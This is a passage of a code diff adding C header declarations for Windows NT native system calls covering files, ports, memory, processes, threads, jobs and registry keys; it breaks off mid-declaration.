+NTAPI +NtReadFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtSetQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + +NTSTATUS +NTAPI +NtSetVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtWriteFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtUnlockFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key + ); + + +NTSTATUS +NTAPI +NtReadFileScatter ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + +NTSTATUS +NTAPI +NtWriteFileGather ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtLoadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtUnloadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtCreateIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Count OPTIONAL + ); + + +NTSTATUS +NTAPI +NtOpenIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryIoCompletion ( + IN HANDLE IoCompletionHandle, + IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + OUT PVOID IoCompletionInformation, + IN ULONG IoCompletionInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetIoCompletion ( + IN HANDLE IoCompletionHandle, + IN PVOID KeyContext, + IN OPTIONAL PVOID ApcContext, + IN NTSTATUS IoStatus, + IN ULONG_PTR IoStatusInformation + ); + + +NTSTATUS +NTAPI +NtRemoveIoCompletion ( + IN HANDLE IoCompletionHandle, + OUT PVOID *KeyContext, + OUT PVOID *ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtCallbackReturn ( + IN PVOID OutputBuffer OPTIONAL, + IN ULONG OutputLength, + IN NTSTATUS Status + ); + + +NTSTATUS +NTAPI +NtQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + + +NTSTATUS +NTAPI +NtSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + + +NTSTATUS +NTAPI +NtYieldExecution ( + VOID + ); + + +NTSTATUS +NTAPI +NtCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtCreateWaitablePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtSecureConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OPTIONAL PSID RequiredServerSid, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE ConnectionRequest + ); + + +NTSTATUS +NTAPI +NtAcceptConnectPort( + OUT PHANDLE PortHandle, + IN OPTIONAL PVOID PortContext, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT OPTIONAL PPORT_VIEW ServerView, + OUT OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + +NTSTATUS +NTAPI +NtCompleteConnectPort( + IN HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtRequestPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + + +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext , + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePortEx( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext, + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtImpersonateClientOfPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message + ); + + +NTSTATUS +NTAPI +NtReadRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + IN PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtQueryInformationPort( + IN HANDLE PortHandle, + IN PORT_INFORMATION_CLASS PortInformationClass, + OUT PVOID PortInformation, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PLARGE_INTEGER MaximumSize, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN OPTIONAL HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, + IN OUT PSIZE_T ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Win32Protect + ); + + +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSTATUS +NTAPI +NtExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER NewSectionSize + ); + + +NTSTATUS +NTAPI +NtAreMappedFilesTheSame ( + IN PVOID File1MappedAsAnImage, + IN PVOID File2MappedAsFile + ); + + +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG FreeType + ); + + +NTSTATUS +NTAPI +NtReadVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtFlushVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + OUT PIO_STATUS_BLOCK IoStatus + ); + + +NTSTATUS +NTAPI +NtLockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + +NTSTATUS +NTAPI +NtUnlockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + +NTSTATUS +NTAPI +NtProtectVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect + ); + + +NTSTATUS +NTAPI +NtQueryVirtualMemory ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN SIZE_T SectionInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPages ( + IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter ( + IN PVOID *VirtualAddresses, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + OUT PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtFreeUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + IN PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtGetWriteWatch ( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T RegionSize, + OUT PVOID *UserAddressArray, + IN OUT PULONG_PTR EntriesInUserAddressArray, + OUT PULONG Granularity + ); + + +NTSTATUS +NTAPI +NtResetWriteWatch ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN SIZE_T RegionSize + ); + + +NTSTATUS +NTAPI +NtCreatePagingFile ( + IN PUNICODE_STRING PageFileName, + IN PLARGE_INTEGER MinimumSize, + IN PLARGE_INTEGER MaximumSize, + IN ULONG Priority + ); + + +NTSTATUS +NTAPI +NtFlushInstructionCache ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN SIZE_T Length + ); + + +NTSTATUS +NTAPI +NtFlushWriteBuffer ( + VOID + ); + + +NTSTATUS +NTAPI +NtQueryObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG ObjectInformationLength, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG ObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN OPTIONAL HANDLE TargetProcessHandle, + OUT PHANDLE TargetHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + +NTSTATUS +NTAPI +NtMakeTemporaryObject ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtMakePermanentObject ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject ( + IN HANDLE SignalHandle, + IN HANDLE WaitHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects32 ( + IN ULONG Count, + IN LONG Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtSetSecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +NTSTATUS +NTAPI +NtQuerySecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Length, + OUT PULONG LengthNeeded + ); + + +NTSTATUS +NTAPI +NtClose ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtCreateDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryObject ( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING LinkTarget + ); + + +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + IN HANDLE LinkHandle, + IN OUT PUNICODE_STRING LinkTarget, + OUT PULONG ReturnedLength + ); + + +NTSTATUS +NTAPI +NtGetPlugPlayEvent ( + IN HANDLE EventHandle, + IN OPTIONAL PVOID Context, + OUT PPLUGPLAY_EVENT_BLOCK EventBlock, + IN ULONG EventBufferSize + ); + + +NTSTATUS +NTAPI +NtPlugPlayControl( + IN PLUGPLAY_CONTROL_CLASS PnPControlClass, + IN OUT PVOID PnPControlData, + IN ULONG PnPControlDataLength + ); + + +NTSTATUS +NTAPI +NtPowerInformation( + IN POWER_INFORMATION_LEVEL InformationLevel, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtSetThreadExecutionState( + IN EXECUTION_STATE esFlags, // ES_xxx flags + OUT EXECUTION_STATE *PreviousFlags + ); + + +NTSTATUS +NTAPI +NtRequestWakeupLatency( + IN LATENCY_TIME latency + ); + + +// NTSTATUS +// NTAPI +// NtInitiatePowerAction( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags, // POWER_ACTION_xxx flags +// IN BOOLEAN Asynchronous +// ); + + +// NTSTATUS +// NTAPI +// NtSetSystemPowerState( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags // POWER_ACTION_xxx flags +// ); + + +// NTSTATUS +// NTAPI +// NtGetDevicePowerState( +// IN HANDLE Device, +// OUT DEVICE_POWER_STATE *State +// ); + + +NTSTATUS +NTAPI +NtCancelDeviceWakeupRequest( + IN HANDLE Device + ); + + +NTSTATUS +NTAPI +NtRequestDeviceWakeup( + IN HANDLE Device + ); + + +NTSTATUS +NTAPI +NtCreateProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN BOOLEAN InheritObjectTable, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort + ); + + +NTSTATUS +NTAPI +NtCreateProcessEx( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort, + IN ULONG JobMemberLevel + ); + + +NTSTATUS +NTAPI +NtOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateProcess ( + IN OPTIONAL HANDLE ProcessHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtQueryInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtGetNextProcess ( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetNextThread ( + IN HANDLE ProcessHandle, + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryPortInformationProcess ( + VOID + ); + + +NTSTATUS +NTAPI +NtSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + OUT PCLIENT_ID ClientId, + IN PCONTEXT ThreadContext, + IN PINITIAL_TEB InitialTeb, + IN BOOLEAN CreateSuspended + ); + + +NTSTATUS +NTAPI +NtOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateThread ( + IN OPTIONAL HANDLE ThreadHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtSuspendThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtSuspendProcess ( + HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtResumeProcess ( + IN HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetContextThread ( + IN HANDLE ThreadHandle, + IN OUT PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtSetContextThread ( + IN HANDLE ThreadHandle, + IN PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtQueryInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength + ); + + +NTSTATUS +NTAPI +NtAlertThread ( + IN HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtAlertResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtImpersonateThread ( + IN HANDLE ServerThreadHandle, + IN HANDLE ClientThreadHandle, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + +NTSTATUS +NTAPI +NtTestAlert ( + VOID + ); + + +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort ( + IN HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtSetLdtEntries ( + IN ULONG Selector0, + IN ULONG Entry0Low, + IN ULONG Entry0Hi, + IN ULONG Selector1, + IN ULONG Entry1Low, + IN ULONG Entry1Hi + ); + + +NTSTATUS +NTAPI +NtQueueApcThread ( + IN HANDLE ThreadHandle, + IN PPS_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + + +NTSTATUS +NTAPI +NtCreateJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtAssignProcessToJobObject ( + IN HANDLE JobHandle, + IN HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtTerminateJobObject ( + IN HANDLE JobHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtIsProcessInJob ( + IN HANDLE ProcessHandle, + IN OPTIONAL HANDLE JobHandle + ); + + +NTSTATUS +NTAPI +NtCreateJobSet ( + IN ULONG NumJob, + IN PJOB_SET_ARRAY UserJobSet, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtQueryInformationJobObject ( + IN OPTIONAL HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + OUT PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationJobObject ( + IN HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + IN PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + + +NTSTATUS +NTAPI +NtDeleteKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + + +NTSTATUS +NTAPI +NtEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtEnumerateValueKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtFlushKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtInitializeRegistry( + IN USHORT BootCondition + ); + + +NTSTATUS +NTAPI +NtNotifyChangeKey( + IN HANDLE KeyHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + IN HANDLE MasterKeyHandle, + IN OPTIONAL ULONG Count, + IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtLoadKey( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile + ); + + +NTSTATUS +NTAPI +NtLoadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtLoadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags, + IN OPTIONAL HANDLE TrustClassKey + ); + + +NTSTATUS +NTAPI +NtOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + IN HANDLE KeyHandle, + IN OUT PKEY_VALUE_ENTRY ValueEntries, + IN ULONG EntryCount, + OUT PVOID ValueBuffer, + IN OUT PULONG BufferLength, + OUT OPTIONAL PULONG RequiredBufferLength + ); + + +NTSTATUS +NTAPI +NtReplaceKey( + IN POBJECT_ATTRIBUTES NewFile, + IN HANDLE TargetHandle, + IN POBJECT_ATTRIBUTES OldFile + 